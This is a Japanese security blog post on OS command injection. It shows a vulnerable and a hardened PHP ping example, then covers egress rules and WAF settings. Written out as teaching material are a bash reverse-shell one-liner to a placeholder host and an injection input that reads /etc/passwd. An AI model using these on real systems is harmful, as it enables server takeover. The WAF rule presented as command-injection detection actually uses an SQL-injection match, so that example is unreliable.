OSコマンドインジェクションの深淵:リバースシェルを許すな
現場でインシデント対応をしていると、決まって遭遇するのが「甘い実装」のツケです。OSコマンドインジェクションは、攻撃者にとって「サーバーの鍵を渡す」に等しい致命的な脆弱性。今日は、単なる理論ではなく、攻撃者がどうやってその脆弱性を「リバースシェル」という究極の支配権へと昇華させるのか、そしてそれをどう断ち切るのかを話そう。
1. なぜ「コマンドインジェクション」で終わらないのか?
脆弱性診断ツールが「OSコマンドインジェクションが見つかりました」と警告したとき、多くの開発者は「単に ls コマンドが実行されただけなら大したことない」と勘違いする。だが、攻撃者はそこで止まらない。
彼らの目的は、ブラウザ上のレスポンスを奪うことではなく、「サーバーの中に常駐する」ことだ。攻撃者は、Webアプリのプロセス経由でリバースシェル(Reverse Shell)を仕掛ける。
リバースシェルのメカニズム
通常、サーバー(Webサーバー)は外部からの接続を「待ち受ける」。しかし、ファイアウォール(FW)やセキュリティグループで外部からのインバウンド通信は厳格に遮断されていることが多い。
そこで攻撃者は、「サーバーから攻撃者の端末へ」アウトバウンド通信を発生させる。
# 攻撃者が仕掛けるコマンド例(被害者サーバー上で実行させる)
# 攻撃者のIP(1.2.3.4)の4444ポートへ、bashの標準入出力を転送する
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
これが通った瞬間、攻撃者の手元にはサーバーのシェルが降ってくる。もはやWAFをすり抜ける必要すらない。これが、コマンドインジェクションを放置してはいけない最大の理由だ。
—
2. 「やってはいけない実装」と「あるべき姿」
多くのエンジニアが犯すミスは、ユーザー入力をそのまま system() や exec() に渡してしまうことだ。
脆弱な実装例(PHP)
<?php
// 最悪の実装:ユーザー入力をそのまま実行
$target = $_GET['host'];
system("ping -c 3 " . $target);
?>
これでは 127.0.0.1; cat /etc/passwd と入力されただけで、サーバーの重要ファイルが丸見えになる。
セキュアな実装の鉄則
鉄則は「OSコマンドを直接実行しない」こと。どうしても必要な場合でも、以下のルールを徹底する。
1. 外部コマンドの呼び出しを避ける: 代替となるライブラリや関数(例: exec ではなく ping のPHPライブラリ)を使う。
2. ホワイトリスト方式: 入力を直接使わず、許可された値のみを配列から選択させる。
3. 引数のエスケープ: escapeshellarg() を使用し、シェルへの解釈を無効化する。
安全な実装例(PHP)
<?php
// 安全な実装:ホワイトリストとエスケープの併用
$allowed_hosts = ['google.com', 'example.com'];
$target = $_GET['host'];
if (!in_array($target, $allowed_hosts)) {
die("不正なホストです");
}
// escapeshellargで引数をクォートし、コマンド結合を防ぐ
system("ping -c 3 " . escapeshellarg($target));
?>
—
3. 多層防御:アプリが破られても「詰ませない」設定
万が一、コードに脆弱性が残っていたとしても、インフラ側で被害を最小化するのがプロの仕事だ。
Nginx/Webサーバー側の制限
Webサーバーの実行ユーザー(www-data等)には、必要最低限の権限しか与えてはいけない。特に /bin/bash や /usr/bin/python への実行権限を剥奪することは、非常に強力な抑止力になる。
クラウド・ネットワークでの防御
セキュリティグループ(AWS等)で、Webサーバーからの「アウトバウンド通信」を制限する。
- Egress Rule(アウトバウンド): 不要なポートへの通信を全て拒否。特に、外部の攻撃者サーバーへ接続するための
80/443以外の全ポートを塞ぐ。 - IAMロールの活用: EC2などがメタデータサービス(IMDSv2)以外にアクセスする必要がないなら、その権限をIAMで絞る。
WAFの設定(AWS WAFの例)
WAFで「OSコマンド注入パターン」をブロックするルールを適用するのは基本中の基本だ。
// AWS WAF用のJSON定義例(コマンドインジェクションの検知)
{
"Name": "Block-Command-Injection",
"Statement": {
"SqliMatchStatement": {
"FieldToMatch": { "AllQueryArguments": {} },
"TextTransformations": [
{ "Priority": 0, "Type": "URL_DECODE" },
{ "Priority": 1, "Type": "HTML_ENTITY_DECODE" }
]
}
},
"Action": { "Block": {} }
}
—
最後に:エンジニアとしての心得
セキュリティは「設定して終わり」のタスクではない。毎日、自分が書いたコードが「もし敵の手に渡ったらどう悪用されるか?」を想像するクセをつけてほしい。
OSコマンドインジェクションは、攻撃の入り口としては非常に古典的だが、「サーバーの制圧」というゴールにおいてこれほど効率の良い脆弱性はない。今日のコードから、system や exec を見つけたら、まずは「本当にこれが必要か?」と自問自答することから始めてほしい。それが、君たちのプロダクトを守る唯一の道だ。
コメント